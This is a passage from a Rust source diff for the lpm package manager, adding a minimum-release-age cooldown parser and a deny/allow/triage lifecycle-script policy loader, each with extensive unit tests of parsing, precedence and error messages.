{e}", path.display())))?; + let parsed: toml::Value = toml::from_str(&raw) + .map_err(|e| LpmError::Registry(format!("failed to parse {}: {e}", path.display())))?; + let table = match parsed { + toml::Value::Table(t) => t, + _ => { + return Err(LpmError::Registry(format!( + "{} must be a TOML table at the top level", + path.display() + ))); + } + }; + let Some(value) = table.get(GLOBAL_KEY) else { + return Ok(None); + }; + match value { + toml::Value::Integer(i) => u64::try_from(*i).map(Some).map_err(|_| { + LpmError::Registry(format!( + "{}: `{GLOBAL_KEY}` must be a non-negative integer (seconds), got {i}", + path.display() + )) + }), + toml::Value::String(s) => parse_strict_u64_string(s).map(Some).ok_or_else(|| { + LpmError::Registry(format!( + "{}: `{GLOBAL_KEY}` must be a non-negative integer (seconds) or a string \ + parseable as one (e.g. \"86400\"), got \"{s}\"", + path.display() + )) + }), + other => Err(LpmError::Registry(format!( + "{}: `{GLOBAL_KEY}` must be a non-negative integer (seconds), got {other}", + path.display() + ))), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + + // ── parse_duration ─────────────────────────────────────────── + + #[test] + fn parse_hours_suffix() { + assert_eq!(parse_duration("72h").unwrap(), 72 * 3600); + } + + #[test] + fn parse_one_hour() { + assert_eq!(parse_duration("1h").unwrap(), 3600); + } + + #[test] + fn parse_zero_hours() { + assert_eq!(parse_duration("0h").unwrap(), 0); + } + + #[test] + fn parse_days_suffix() { + assert_eq!(parse_duration("3d").unwrap(), 3 * 86400); + } + + #[test] + fn parse_zero_days() { + assert_eq!(parse_duration("0d").unwrap(), 0); + } + + #[test] + fn parse_plain_seconds() { + assert_eq!(parse_duration("86400").unwrap(), 86400); + } + + #[test] + fn parse_zero_plain() { + assert_eq!(parse_duration("0").unwrap(), 0); + } + + #[test] + fn parse_leading_zeros_allowed() { + // `u64::from_str` accepts leading zeros; no need to be fussier. + assert_eq!(parse_duration("01h").unwrap(), 3600); + } + + #[test] + fn reject_empty() { + let err = parse_duration("").unwrap_err().to_string(); + assert!(err.contains("must not be empty"), "got: {err}"); + } + + #[test] + fn reject_leading_whitespace() { + let err = parse_duration(" 72h").unwrap_err().to_string(); + assert!(err.contains("whitespace"), "got: {err}"); + } + + #[test] + fn reject_trailing_whitespace() { + let err = parse_duration("72h ").unwrap_err().to_string(); + assert!(err.contains("whitespace"), "got: {err}"); + } + + #[test] + fn reject_lone_hours_suffix() { + let err = parse_duration("h").unwrap_err().to_string(); + assert!(err.contains("no numeric value"), "got: {err}"); + } + + #[test] + fn reject_lone_days_suffix() { + let err = parse_duration("d").unwrap_err().to_string(); + assert!(err.contains("no numeric value"), "got: {err}"); + } + + #[test] + fn reject_minutes_suffix() { + let err = parse_duration("72m").unwrap_err().to_string(); + assert!(err.contains("unsupported unit"), "got: {err}"); + } + + #[test] + fn reject_weeks_suffix() { + let err = parse_duration("1w").unwrap_err().to_string(); + assert!(err.contains("unsupported unit"), "got: {err}"); + } + + #[test] + fn reject_negative_hours() { + let err = parse_duration("-5h").unwrap_err().to_string(); + assert!(err.contains("non-negative"), "got: {err}"); + } + + #[test] + fn reject_negative_plain() { + let err = parse_duration("-5").unwrap_err().to_string(); + // The plain-seconds path hits `parse_scalar` which catches the + // leading `-` first. + assert!(err.contains("non-negative"), "got: {err}"); + } + + #[test] + fn reject_garbage() { + let err = parse_duration("abc").unwrap_err().to_string(); + // `abc` ends in `c` (alphabetic) → the unsupported-unit branch fires. + assert!(err.contains("unsupported unit"), "got: {err}"); + } + + #[test] + fn reject_fractional_hours() { + let err = parse_duration("0.5h").unwrap_err().to_string(); + assert!( + err.contains("not a valid non-negative integer"), + "got: {err}" + ); + } + + #[test] + fn reject_plus_sign() { + // `u64::from_str` rejects `+5` — the hours path surfaces the + // "not a valid integer" branch (not the `-` branch). + let err = parse_duration("+5h").unwrap_err().to_string(); + assert!( + err.contains("not a valid non-negative integer"), + "got: {err}" + ); + } + + #[test] + fn reject_hours_overflow() { + // u64::MAX / 3600 = ~5.1e15. Anything bigger overflows. + let input = format!("{}h", u64::MAX); + let err = parse_duration(&input).unwrap_err().to_string(); + assert!(err.contains("overflows"), "got: {err}"); + assert!(err.contains("hours"), "got: {err}"); + } + + #[test] + fn reject_days_overflow() { + let input = format!("{}d", u64::MAX); + let err = parse_duration(&input).unwrap_err().to_string(); + assert!(err.contains("overflows"), "got: {err}"); + assert!(err.contains("days"), "got: {err}"); + } + + // ── read_global_min_age_from_file ──────────────────────────── + + fn write_file(path: &Path, contents: &str) { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).unwrap(); + } + fs::write(path, contents).unwrap(); + } + + #[test] + fn global_file_missing_returns_none() { + let dir = tempfile::tempdir().unwrap(); + let result = read_global_min_age_from_file(&dir.path().join("config.toml")).unwrap(); + assert_eq!(result, None); + } + + #[test] + fn global_file_empty_returns_none() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, ""); + let result = read_global_min_age_from_file(&path).unwrap(); + assert_eq!(result, None); + } + + #[test] + fn global_file_key_absent_returns_none() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, "some-other-key = 42\n"); + let result = read_global_min_age_from_file(&path).unwrap(); + assert_eq!(result, None); + } + + #[test] + fn global_file_integer_value() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, "minimum-release-age-secs = 259200\n"); + let result = read_global_min_age_from_file(&path).unwrap(); + assert_eq!(result, Some(259200)); + } + + /// `lpm config set minimum-release-age-secs 259200` writes a TOML + /// string (Finding A). The loader MUST accept that form or the + /// documented persistent-config path is unusable. + #[test] + fn global_file_string_value_for_config_set_compat() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, r#"minimum-release-age-secs = "259200""#); + let result = read_global_min_age_from_file(&path).unwrap(); + assert_eq!(result, Some(259200)); + } + + #[test] + fn global_file_negative_integer_rejected_with_path_and_key() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, "minimum-release-age-secs = -1\n"); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name the file: {err}"); + assert!( + err.contains("minimum-release-age-secs"), + "must name the key: {err}" + ); + } + + /// Reviewer finding (Chunk 1): `u64::from_str("+5")` returns `Ok(5)`, + /// so without an explicit sign-prefix rejection the global-TOML + /// string path would silently accept `"+259200"` even though the + /// CLI flag rejects `+5h`. Both string-coercion sites now route + /// through [`parse_strict_u64_string`] for uniform behaviour; this + /// test is the regression guard against drift. + #[test] + fn global_file_plus_prefixed_string_rejected_with_path_and_key() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, r#"minimum-release-age-secs = "+259200""#); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name the file: {err}"); + assert!( + err.contains("minimum-release-age-secs"), + "must name the key: {err}" + ); + } + + /// Symmetric regression: the `-` prefix must also surface a + /// file-pathed error, not silently parse. `u64::from_str("-5")` + /// already returns `Err`, so the string path's behaviour here + /// matches the CLI parser's "must be non-negative" branch — + /// [`parse_strict_u64_string`] makes that guarantee explicit rather + /// than implicit. + #[test] + fn global_file_minus_prefixed_string_rejected_with_path_and_key() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, r#"minimum-release-age-secs = "-1""#); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name the file: {err}"); + assert!( + err.contains("minimum-release-age-secs"), + "must name the key: {err}" + ); + } + + #[test] + fn global_file_garbage_string_rejected_with_path_and_key() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, r#"minimum-release-age-secs = "forever""#); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name the file: {err}"); + assert!( + err.contains("minimum-release-age-secs"), + "must name the key: {err}" + ); + } + + #[test] + fn global_file_wrong_type_rejected() { + // A TOML array isn't coercible. Must surface a clear error, + // not silently ignore. + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, "minimum-release-age-secs = [1, 2, 3]\n"); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("minimum-release-age-secs"), "got: {err}"); + } + + #[test] + fn global_file_malformed_toml_rejected_with_path() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("config.toml"); + write_file(&path, "not valid toml === [[["); + let err = read_global_min_age_from_file(&path) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name the file: {err}"); + } + + // ── ReleaseAgeResolver::resolve ────────────────────────────── + + /// Redirect HOME so `dirs::home_dir()` points at a per-test temp + /// directory — otherwise the resolver would pick up the developer's + /// actual `~/.lpm/config.toml`. Mirrors the `scoped_home_dir` helper + /// in [`crate::save_config`]. + fn scoped_home_dir() -> ScopedHomeDir { + let dir = tempfile::tempdir().unwrap(); + let env = crate::test_env::ScopedEnv::set([("HOME", dir.path().as_os_str().to_owned())]); + ScopedHomeDir { dir, _env: env } + } + + struct ScopedHomeDir { + dir: tempfile::TempDir, + _env: crate::test_env::ScopedEnv, + } + + impl ScopedHomeDir { + fn path(&self) -> &Path { + self.dir.path() + } + } + + fn write_package_json_with_min_age(project: &Path, secs: Option) { + let body = match secs { + Some(n) => format!( + r#"{{ "name": "p", "version": "0.0.0", "lpm": {{ "minimumReleaseAge": {n} }} }}"# + ), + None => r#"{ "name": "p", "version": "0.0.0" }"#.to_string(), + }; + write_file(&project.join("package.json"), &body); + } + + fn write_global_config(home: &Path, contents: &str) { + write_file(&home.join(".lpm").join("config.toml"), contents); + } + + #[test] + fn resolve_cli_override_wins_over_everything() { + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), Some(1000)); + write_global_config(home.path(), "minimum-release-age-secs = 2000\n"); + + let result = ReleaseAgeResolver::resolve(project.path(), Some(500)).unwrap(); + assert_eq!(result, 500, "CLI override must beat package.json + global"); + } + + #[test] + fn resolve_cli_override_zero_is_honored() { + // `--min-release-age=0` disables cooldown for this invocation, + // even when package.json / global set a non-zero value. + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), Some(1000)); + write_global_config(home.path(), "minimum-release-age-secs = 2000\n"); + + let result = ReleaseAgeResolver::resolve(project.path(), Some(0)).unwrap(); + assert_eq!(result, 0, "CLI --min-release-age=0 must force zero"); + } + + #[test] + fn resolve_package_json_beats_global() { + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), Some(1000)); + write_global_config(home.path(), "minimum-release-age-secs = 2000\n"); + + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, 1000, "package.json must beat global config"); + } + + #[test] + fn resolve_global_beats_default_when_package_json_silent() { + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), None); + write_global_config(home.path(), "minimum-release-age-secs = 2000\n"); + + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, 2000, "global config must override 24h default"); + } + + #[test] + fn resolve_default_when_nothing_set() { + let project = tempfile::tempdir().unwrap(); + let _home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), None); + + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, DEFAULT_MIN_RELEASE_AGE_SECS); + } + + #[test] + fn resolve_default_when_package_json_missing() { + let project = tempfile::tempdir().unwrap(); + let _home = scoped_home_dir(); + // No package.json written. + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, DEFAULT_MIN_RELEASE_AGE_SECS); + } + + #[test] + fn resolve_default_when_package_json_malformed() { + // Tolerant: malformed manifest doesn't error, falls through. + let project = tempfile::tempdir().unwrap(); + let _home = scoped_home_dir(); + write_file(&project.path().join("package.json"), "{ not json ==="); + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, DEFAULT_MIN_RELEASE_AGE_SECS); + } + + #[test] + fn resolve_surfaces_global_config_error() { + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), None); + write_global_config(home.path(), r#"minimum-release-age-secs = "garbage""#); + + let err = ReleaseAgeResolver::resolve(project.path(), None) + .unwrap_err() + .to_string(); + assert!(err.contains("config.toml"), "must name global file: {err}"); + assert!( + err.contains("minimum-release-age-secs"), + "must name key: {err}" + ); + } + + #[test] + fn resolve_cli_override_skips_global_errors() { + // When the user explicitly passes --min-release-age=, a + // broken global config must not block the install. The CLI + // flag short-circuits the chain. + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), None); + write_global_config(home.path(), "not valid toml === [[["); + + let result = ReleaseAgeResolver::resolve(project.path(), Some(0)).unwrap(); + assert_eq!(result, 0); + } + + #[test] + fn resolve_package_json_skips_global_errors() { + // Similarly, an explicit `"lpm": { "minimumReleaseAge": N }` + // in package.json short-circuits the global layer. + let project = tempfile::tempdir().unwrap(); + let home = scoped_home_dir(); + write_package_json_with_min_age(project.path(), Some(500)); + write_global_config(home.path(), "not valid toml === [[["); + + let result = ReleaseAgeResolver::resolve(project.path(), None).unwrap(); + assert_eq!(result, 500); + } + + // ── GlobalConfig::get_u64 (spot-check in this module) ──────── + + /// Minimal sanity check for the new `GlobalConfig::get_u64` helper. + /// The deep coverage for the global-TOML layer lives in the path- + /// aware tests above; this confirms the convenience accessor works + /// for callers that don't need file-pathed errors. + #[test] + fn global_config_get_u64_accepts_integer_and_string() { + let home = scoped_home_dir(); + write_global_config( + home.path(), + "native-int = 123\nstring-form = \"456\"\nnegative = -1\nboolean = true\n", + ); + let cfg = crate::commands::config::GlobalConfig::load(); + assert_eq!(cfg.get_u64("native-int"), Some(123)); + assert_eq!(cfg.get_u64("string-form"), Some(456)); + assert_eq!(cfg.get_u64("negative"), None); + assert_eq!(cfg.get_u64("boolean"), None); + assert_eq!(cfg.get_u64("absent"), None); + } + + /// Reviewer regression: the convenience reader must reject + /// sign-prefixed strings too, not just the path-aware loader. + /// Without this, a user who runs + /// `lpm config set some-key +5` would have `GlobalConfig::get_u64` + /// silently return `Some(5)` while `--some-flag=+5` would be + /// rejected by any CLI parser routed through + /// [`parse_strict_u64_string`]. + #[test] + fn global_config_get_u64_rejects_sign_prefixed_strings() { + let home = scoped_home_dir(); + write_global_config( + home.path(), + "plus-prefixed = \"+5\"\nminus-prefixed = \"-5\"\n", + ); + let cfg = crate::commands::config::GlobalConfig::load(); + assert_eq!(cfg.get_u64("plus-prefixed"), None); + assert_eq!(cfg.get_u64("minus-prefixed"), None); + } + + // ── parse_strict_u64_string (shared helper) ────────────────── + + #[test] + fn strict_u64_accepts_plain_digits() { + assert_eq!(parse_strict_u64_string("0"), Some(0)); + assert_eq!(parse_strict_u64_string("86400"), Some(86400)); + } + + #[test] + fn strict_u64_rejects_plus_prefix() { + assert_eq!(parse_strict_u64_string("+5"), None); + } + + #[test] + fn strict_u64_rejects_minus_prefix() { + assert_eq!(parse_strict_u64_string("-5"), None); + } + + #[test] + fn strict_u64_rejects_whitespace() { + assert_eq!(parse_strict_u64_string(" 5"), None); + assert_eq!(parse_strict_u64_string("5 "), None); + } + + #[test] + fn strict_u64_rejects_non_digit() { + assert_eq!(parse_strict_u64_string("abc"), None); + assert_eq!(parse_strict_u64_string("0x10"), None); + } +} diff --git a/crates/lpm-cli/src/script_policy_config.rs b/crates/lpm-cli/src/script_policy_config.rs new file mode 100644 index 00000000..981b8d3b --- /dev/null +++ b/crates/lpm-cli/src/script_policy_config.rs @@ -0,0 +1,531 @@ +//! Phase 46 P1 — `script-policy` config loader and [`ScriptPolicy`] enum. +//! +//! Consolidates the pre-existing ad-hoc script-related readers +//! ([`crate::commands::install::read_auto_build_config`] in install.rs +//! and the `read_deny_all_config` helper in build.rs) into a single +//! typed loader so Phase 46's new `scriptPolicy` key doesn't spawn a +//! third ad-hoc reader. Each call returns a [`ScriptPolicyConfig`] +//! with all four `package.json > lpm > scripts` keys and the +//! `scriptPolicy` key, parsed once. +//! +//! ## Precedence (highest wins) +//! +//! 1. CLI flag on the install / build command: +//! `--policy=deny|allow|triage` (canonical) or +//! `--yolo` (alias for `--policy=allow`) or +//! `--triage` (alias for `--policy=triage`). +//! Mutually-exclusive validation is enforced at the clap layer. +//! 2. `package.json > lpm > scriptPolicy` (per-project, team-shared). +//! 3. `~/.lpm/config.toml` key `script-policy` (per-user, this machine). +//! 4. Default: [`ScriptPolicy::Deny`]. +//! +//! ## String coercion policy (Phase 33 precedent) +//! +//! `lpm config set script-policy triage` writes the value as a string +//! under the hood (see [`crate::commands::config`]'s generic `set` +//! handler). The reader therefore accepts both native TOML strings and +//! the canonical kebab-case form. Invalid values produce a clear +//! error pointing at the offending source (file path or CLI flag) so +//! the user can fix it without reading code. + +use crate::commands::config::GlobalConfig; +use serde::{Deserialize, Serialize}; +use std::path::Path; + +/// Which gate to apply to lifecycle scripts during `lpm build` / +/// autoBuild flows. +/// +/// See [§5 of the Phase 46 plan](../DOCS/new-features/37-rust-client-RUNNER-VISION-phase46.md) +/// for the user-facing description of each mode. +/// +/// Wire/config format is kebab-case: `"deny"` | `"allow"` | `"triage"`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize, Default)] +#[serde(rename_all = "kebab-case")] +pub enum ScriptPolicy { + /// **Default.** Every lifecycle script is blocked at install time + /// and requires explicit `lpm approve-builds`. Equivalent to the + /// pre-Phase-46 behavior. + #[default] + Deny, + /// Every package trusted. `lpm build` runs every lifecycle script + /// without the triage gate, via the existing two-phase pipeline. + /// Scripts still execute at `lpm build` time (or autoBuild- + /// triggered), never at install. + Allow, + /// Four-layer tiered gate. Greens become eligible for auto- + /// execution in the sandbox (P6); ambers flow to layers 2/3/4 + /// (trust manifest, provenance + cooldown, optional LLM triage); + /// reds block unconditionally and never reach the LLM. + Triage, +} + +impl ScriptPolicy { + /// Parse a kebab-case string. Accepts the exact wire forms + /// (`deny` | `allow` | `triage`); anything else errors. + pub fn parse(s: &str) -> Result { + match s { + "deny" => Ok(Self::Deny), + "allow" => Ok(Self::Allow), + "triage" => Ok(Self::Triage), + other => Err(ScriptPolicyParseError { + input: other.to_string(), + }), + } + } + + /// Canonical kebab-case string form. + pub fn as_str(&self) -> &'static str { + match self { + Self::Deny => "deny", + Self::Allow => "allow", + Self::Triage => "triage", + } + } +} + +/// Error from [`ScriptPolicy::parse`]. +/// +/// Carries the offending input so the caller can include it in a +/// source-specific message (`"in package.json: got 'foo'"` vs. +/// `"in --policy flag: got 'foo'"`). +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ScriptPolicyParseError { + pub input: String, +} + +impl std::fmt::Display for ScriptPolicyParseError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "invalid script-policy value '{}' (expected one of: deny, allow, triage)", + self.input, + ) + } +} + +impl std::error::Error for ScriptPolicyParseError {} + +/// Consolidated read of `package.json > lpm > {scriptPolicy, scripts}`. +/// +/// Single source of truth for install.rs, build.rs, and any future +/// consumer. Replaces the previous two separate ad-hoc readers +/// (`read_auto_build_config`, `read_deny_all_config`) — each of those +/// callers migrates to this struct's accessors. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ScriptPolicyConfig { + /// `package.json > lpm > scriptPolicy`, if explicitly set AND + /// parsed successfully. `None` means "fall through to + /// `~/.lpm/config.toml` then default". A deliberate `"deny"` + /// value parses to `Some(ScriptPolicy::Deny)` so users can lock + /// the default against a teammate's global override. + /// + /// **Invalid values**: when `scriptPolicy` is present as a string + /// but doesn't parse (typo, wrong case, etc.), this field is + /// `None` AND [`Self::policy_parse_error`] holds the offending + /// input. Loader callers are expected to surface the error (via + /// [`crate::output::warn`] in non-JSON mode) so a shared-repo + /// typo doesn't silently produce per-developer policy divergence. + pub policy: Option, + /// `package.json > lpm > scripts.autoBuild`. Defaults to `false`. + pub auto_build: bool, + /// `package.json > lpm > scripts.denyAll`. Kill-switch: when + /// `true`, scripts never run regardless of `policy`. Defaults to + /// `false`. + pub deny_all: bool, + /// `package.json > lpm > scripts.trustedScopes`. Glob patterns + /// like `@myorg/*` that auto-approve by scope. Defaults to empty. + pub trusted_scopes: Vec, + /// The offending input when `scriptPolicy` was present as a string + /// but failed to parse. `None` when `scriptPolicy` was absent, + /// non-string, or parsed successfully. Callers surface this to the + /// user; the field is not consumed by the precedence resolver (an + /// unparseable value remains "unset" for precedence purposes, + /// matching the `policy: None` path). + /// + /// Separated from `policy` so consumers who only care about the + /// resolved value can ignore errors, while consumers responsible + /// for user-facing output can surface them. + pub policy_parse_error: Option, +} + +impl ScriptPolicyConfig { + /// Read from `/package.json`. Missing file or + /// unreadable content yields [`Self::default`] (all keys absent or + /// at their defaults) — the install pipeline's own missing-manifest + /// handling surfaces the real error earlier; here we must return + /// something rather than panicking. + pub fn from_package_json(project_dir: &Path) -> Self { + let pkg_json_path = project_dir.join("package.json"); + let Ok(content) = std::fs::read_to_string(&pkg_json_path) else { + return Self::default(); + }; + let Ok(parsed) = serde_json::from_str::(&content) else { + return Self::default(); + }; + + let lpm = parsed.get("lpm"); + let scripts = lpm.and_then(|l| l.get("scripts")); + + // Policy is the one key where "present but invalid" is + // meaningfully different from "absent": a typo in a team- + // shared package.json otherwise produces silent per-developer + // divergence. Capture the offending input in + // `policy_parse_error` so callers can warn. + let raw_policy = lpm + .and_then(|l| l.get("scriptPolicy")) + .and_then(|v| v.as_str()); + let (policy, policy_parse_error) = match raw_policy { + None => (None, None), + Some(s) => match ScriptPolicy::parse(s) { + Ok(p) => (Some(p), None), + Err(e) => (None, Some(e.input)), + }, + }; + + let auto_build = scripts + .and_then(|s| s.get("autoBuild")) + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + let deny_all = scripts + .and_then(|s| s.get("denyAll")) + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + let trusted_scopes = scripts + .and_then(|s| s.get("trustedScopes")) + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + + Self { + policy, + auto_build, + deny_all, + trusted_scopes, + policy_parse_error, + } + } +} + +/// Collapse the three clap-layer flags (`--policy=`, `--yolo`, +/// `--triage`) into a single `Option` for the precedence +/// chain. +/// +/// Clap enforces mutual exclusion via `conflicts_with_all` on each +/// flag, so at most one is set per invocation. This helper therefore +/// trusts the single-value invariant and only validates the value of +/// the canonical `--policy` flag (where a bad string can still reach +/// us, e.g. `--policy=yolo`). +/// +/// Returns `Ok(None)` when none of the three flags is set (the caller +/// falls through to project / global / default). Returns +/// `Err(String)` when `--policy`'s value is not a known variant, with +/// a user-facing message that names both the offending input and the +/// accepted values. +pub fn collapse_policy_flags( + policy: Option<&str>, + yolo: bool, + triage_alias: bool, +) -> Result, String> { + // Clap's `conflicts_with_all` guarantees at most one is set. Honor + // the aliases first (they're booleans — no parse step needed). + if yolo { + return Ok(Some(ScriptPolicy::Allow)); + } + if triage_alias { + return Ok(Some(ScriptPolicy::Triage)); + } + match policy { + None => Ok(None), + Some(s) => ScriptPolicy::parse(s) + .map(Some) + .map_err(|e| format!("--policy: {e}")), + } +} + +/// Resolve the effective [`ScriptPolicy`] through the full precedence +/// chain (CLI > project > global > default). +/// +/// `cli_override` is `Some(policy)` iff the user passed exactly one of +/// `--policy=` / `--yolo` / `--triage` on this invocation. The +/// mutual-exclusion enforcement happens at the clap layer via +/// `conflicts_with_all`; this function trusts the single-value +/// guarantee. +/// +/// `project_config` is a pre-loaded [`ScriptPolicyConfig`] (see +/// [`ScriptPolicyConfig::from_package_json`]). Taking the loaded +/// config rather than a path lets the caller inspect +/// [`ScriptPolicyConfig::policy_parse_error`] and surface the typo via +/// [`crate::output::warn`] before resolving — so a team-shared +/// typo in `package.json > lpm > scriptPolicy` doesn't silently +/// produce per-developer policy divergence. +pub fn resolve_script_policy( + cli_override: Option, + project_config: &ScriptPolicyConfig, +) -> ScriptPolicy { + if let Some(p) = cli_override { + return p; + } + if let Some(p) = project_config.policy { + return p; + } + if let Some(p) = GlobalConfig::load() + .get_str("script-policy") + .and_then(|s| ScriptPolicy::parse(s).ok()) + { + return p; + } + ScriptPolicy::default() +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + fn write_pkg_json(dir: &Path, content: &str) { + std::fs::write(dir.join("package.json"), content).unwrap(); + } + + // ── ScriptPolicy parsing ────────────────────────────────────── + + #[test] + fn parse_accepts_canonical_kebab_forms() { + assert_eq!(ScriptPolicy::parse("deny").unwrap(), ScriptPolicy::Deny); + assert_eq!(ScriptPolicy::parse("allow").unwrap(), ScriptPolicy::Allow); + assert_eq!(ScriptPolicy::parse("triage").unwrap(), ScriptPolicy::Triage,); + } + + #[test] + fn parse_rejects_unknown_variants() { + assert!(ScriptPolicy::parse("yolo").is_err()); + assert!(ScriptPolicy::parse("safe").is_err()); + assert!(ScriptPolicy::parse("").is_err()); + assert!(ScriptPolicy::parse("DENY").is_err(), "case-sensitive"); + } + + #[test] + fn as_str_roundtrips_through_parse() { + for p in [ + ScriptPolicy::Deny, + ScriptPolicy::Allow, + ScriptPolicy::Triage, + ] { + assert_eq!(ScriptPolicy::parse(p.as_str()).unwrap(), p); + } + } + + #[test] + fn default_is_deny() { + assert_eq!(ScriptPolicy::default(), ScriptPolicy::Deny); + } + + // ── ScriptPolicyConfig loader ───────────────────────────────── + + #[test] + fn from_package_json_missing_file_returns_defaults() { + let dir = tempdir().unwrap(); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + assert_eq!(cfg.policy, None); + assert!(!cfg.auto_build); + assert!(!cfg.deny_all); + assert!(cfg.trusted_scopes.is_empty()); + } + + #[test] + fn from_package_json_empty_lpm_block_returns_defaults() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"name":"test","lpm":{}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + } + + #[test] + fn from_package_json_reads_all_four_keys() { + let dir = tempdir().unwrap(); + write_pkg_json( + dir.path(), + r#"{ + "name": "test", + "lpm": { + "scriptPolicy": "triage", + "scripts": { + "autoBuild": true, + "denyAll": false, + "trustedScopes": ["@myorg/*", "@internal/*"] + } + } + }"#, + ); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, Some(ScriptPolicy::Triage)); + assert!(cfg.auto_build); + assert!(!cfg.deny_all); + assert_eq!( + cfg.trusted_scopes, + vec!["@myorg/*".to_string(), "@internal/*".to_string()] + ); + } + + #[test] + fn from_package_json_script_policy_deny_is_explicit_not_none() { + // A user who writes `"scriptPolicy": "deny"` explicitly is + // locking the default against a teammate's global override. + // Distinguishing `Some(Deny)` from `None` is load-bearing. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "deny"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!( + cfg.policy, + Some(ScriptPolicy::Deny), + "explicit deny must not be indistinguishable from unset" + ); + } + + #[test] + fn from_package_json_invalid_script_policy_surfaces_parse_error() { + // v2.3 post-audit behavior change: a team-shared + // `package.json` with a typo in `scriptPolicy` must NOT + // silently fall through to per-developer global config. + // `policy` stays `None` (precedence falls through), but + // `policy_parse_error` carries the offending input so + // install.rs / build.rs can warn the user via + // `output::warn`. + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "invalid"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, None); + assert_eq!( + cfg.policy_parse_error.as_deref(), + Some("invalid"), + "invalid scriptPolicy value must be captured for user warning" + ); + } + + #[test] + fn from_package_json_valid_script_policy_has_no_parse_error() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scriptPolicy": "triage"}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, Some(ScriptPolicy::Triage)); + assert_eq!(cfg.policy_parse_error, None); + } + + #[test] + fn from_package_json_absent_script_policy_has_no_parse_error() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg.policy, None); + assert_eq!( + cfg.policy_parse_error, None, + "absence must not look like a parse error" + ); + } + + #[test] + fn from_package_json_malformed_json_returns_defaults() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), "{not valid json"); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert_eq!(cfg, ScriptPolicyConfig::default()); + } + + #[test] + fn from_package_json_empty_trusted_scopes_array_yields_empty_vec() { + let dir = tempdir().unwrap(); + write_pkg_json(dir.path(), r#"{"lpm": {"scripts": {"trustedScopes": []}}}"#); + let cfg = ScriptPolicyConfig::from_package_json(dir.path()); + assert!(cfg.trusted_scopes.is_empty()); + } + + #[test] + fn from_package_json_ignores_non_string_trusted_scopes() { + // Defensive: if someone writes `["ok", 42, null, "fine"]`, + // the non-strings are dropped rather than failing the whole load. + let dir = tempdir().unwrap(); + write_pkg_json( + dir.path(), + r#"{"lpm": {"scripts": {"trustedScopes": ["@ok/*", 42, null, "@fine/*"]}}}"#, + ); + let cfg = 